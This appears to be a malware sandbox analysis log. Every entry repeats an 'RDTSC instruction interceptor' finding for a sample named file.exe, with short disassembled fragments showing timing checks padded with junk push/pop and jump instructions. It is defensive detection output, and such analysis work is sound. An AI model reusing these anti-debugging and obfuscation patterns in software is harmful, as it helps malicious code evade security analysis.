Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3CD6 second address: 9D3CDF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3CDF second address: 9D3CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F8AE47565F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3CEF second address: 9D3CFD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8AE47DB006h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3DBD second address: 9D3E19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 add dword ptr [esp], 38151305h 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F8AE47565F8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 pushad 0x00000028 add di, 1CC5h 0x0000002d popad 0x0000002e call 00007F8AE47565F9h 0x00000033 jbe 00007F8AE4756600h 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c jl 00007F8AE47565F8h 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3E19 second address: 9D3E5B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8AE47DB00Ch 0x00000008 jns 00007F8AE47DB006h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jnl 00007F8AE47DB015h 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F8AE47DB014h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3FB0 second address: 9D3FDA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jo 00007F8AE47565FCh 0x00000010 jng 00007F8AE47565F6h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F8AE4756602h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D40B3 second address: 9D40C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D40C3 second address: 9D40CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D463C second address: 9D4640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4640 second address: 9D4655 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE4756601h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4655 second address: 9D46A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB017h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F8AE47DB008h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D3A40h] 0x0000002c push 0000001Eh 0x0000002e push esi 0x0000002f mov ecx, edx 0x00000031 pop edi 0x00000032 nop 0x00000033 pushad 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D46A2 second address: 9D46A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D497A second address: 9D497E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D497E second address: 9D4982 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4982 second address: 9D49BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jo 00007F8AE47DB006h 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push ecx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F8AE47DB017h 0x00000019 popad 0x0000001a pop ecx 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f pushad 0x00000020 pushad 0x00000021 jnl 00007F8AE47DB006h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4ABC second address: 9D4AC6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8AE47565F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D4AC6 second address: 9D4ACD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06348 second address: A0634E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0634E second address: A06370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AE47DB015h 0x00000009 popad 0x0000000a jo 00007F8AE47DB008h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06370 second address: A0637A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F8AE47565F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0637A second address: A0637E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A064BE second address: A064C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A064C9 second address: A064DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AE47DB010h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06662 second address: A06666 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06666 second address: A06678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8AE47DB00Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06903 second address: A0691F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 jmp 00007F8AE4756604h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0691F second address: A06931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB00Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06931 second address: A06948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AE4756603h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A06948 second address: A0696B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F8AE47DB012h 0x0000000e jo 00007F8AE47DB00Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D674 second address: A0D69D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8AE47565FDh 0x0000000a popad 0x0000000b pushad 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F8AE47565FDh 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D69D second address: A0D6A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C700 second address: A0C716 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE4756602h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CAE2 second address: A0CAE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CAE8 second address: A0CB09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jo 00007F8AE47565FEh 0x0000000d push eax 0x0000000e pop eax 0x0000000f jnl 00007F8AE47565F6h 0x00000015 push eax 0x00000016 push edx 0x00000017 jno 00007F8AE47565FAh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C155 second address: A0C16C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AE47DB011h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D075 second address: A0D091 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE4756608h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D382 second address: A0D386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A118ED second address: A118F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11A3C second address: A11A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11D0F second address: A11D13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11D13 second address: A11D32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8AE47DB019h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11D32 second address: A11D49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F8AE4756601h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11E85 second address: A11E89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12193 second address: A121AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F8AE4756604h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A125FF second address: A12603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A12603 second address: A12607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1909F second address: A190D2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jne 00007F8AE47DB006h 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F8AE47DB00Dh 0x00000016 jc 00007F8AE47DB006h 0x0000001c jng 00007F8AE47DB006h 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 push edx 0x0000002a pop edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A190D2 second address: A190DE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jg 00007F8AE47565F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A190DE second address: A190EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F8AE47DB006h 0x0000000a jc 00007F8AE47DB006h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98D81F second address: 98D841 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F8AE47565F6h 0x0000000a jmp 00007F8AE4756608h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98D841 second address: 98D845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DD39 second address: A1DD3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DE73 second address: A1DE7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DE7A second address: A1DE7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DE7F second address: A1DE89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DE89 second address: A1DE96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F8AE47565FEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A206EB second address: A20702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push edx 0x00000006 pop edx 0x00000007 jmp 00007F8AE47DB00Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A251E2 second address: A25218 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 jl 00007F8AE47565F6h 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8AE4756607h 0x00000013 jmp 00007F8AE4756601h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2464D second address: A24666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8AE47DB012h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2494C second address: A2495D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47565FDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24BF2 second address: A24C02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F8AE47DB008h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24C02 second address: A24C0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F8AE47565F6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24C0E second address: A24C45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB019h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F8AE47DB01Eh 0x0000000f jmp 00007F8AE47DB012h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24D88 second address: A24D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24D8F second address: A24DA1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8AE47DB00Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27B20 second address: A27B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27B24 second address: A27B2E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8AE47DB006h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27B2E second address: A27B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F8AE4756606h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27B3E second address: A27B44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27DE3 second address: A27DE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27DE9 second address: A27DED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27DED second address: A27DF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27DF3 second address: A27DF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D87C second address: A2D898 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8AE4756607h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D898 second address: A2D8A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8AE47DB006h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2D8A7 second address: A2D8AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C34C second address: A2C350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C350 second address: A2C35A instructions: 0x00000000 rdtsc 0x00000002 je 00007F8AE47565F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C75E second address: A2C762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C762 second address: A2C766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2C766 second address: A2C784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F8AE47DB006h 0x0000000e jmp 00007F8AE47DB010h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D44AE second address: 9D44B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D44B3 second address: 9D44DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB019h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d jnp 00007F8AE47DB006h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D44DB second address: 9D453B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F8AE47565FFh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D1DA9h], ebx 0x00000014 mov ebx, dword ptr [ebp+12478509h] 0x0000001a mov edx, dword ptr [ebp+122D36FAh] 0x00000020 add eax, ebx 0x00000022 push 00000000h 0x00000024 push edi 0x00000025 call 00007F8AE47565F8h 0x0000002a pop edi 0x0000002b mov dword ptr [esp+04h], edi 0x0000002f add dword ptr [esp+04h], 00000016h 0x00000037 inc edi 0x00000038 push edi 0x00000039 ret 0x0000003a pop edi 0x0000003b ret 0x0000003c nop 0x0000003d pushad 0x0000003e pushad 0x0000003f jmp 00007F8AE4756601h 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36828 second address: A36858 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB018h 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a jnl 00007F8AE47DB006h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jbe 00007F8AE47DB016h 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36858 second address: A3685E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A34D4D second address: A34D57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8AE47DB006h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35697 second address: A356BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F8AE4756600h 0x0000000a je 00007F8AE47565F6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A356BC second address: A356D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AE47DB019h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DE99 second address: A3DE9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DE9F second address: A3DEA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DFEA second address: A3DFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E12B second address: A3E131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E131 second address: A3E173 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47565FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8AE4756608h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push ecx 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 pop eax 0x00000016 pop ecx 0x00000017 pushad 0x00000018 jmp 00007F8AE47565FFh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E2A6 second address: A3E2B9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8AE47DB006h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 rdtsc
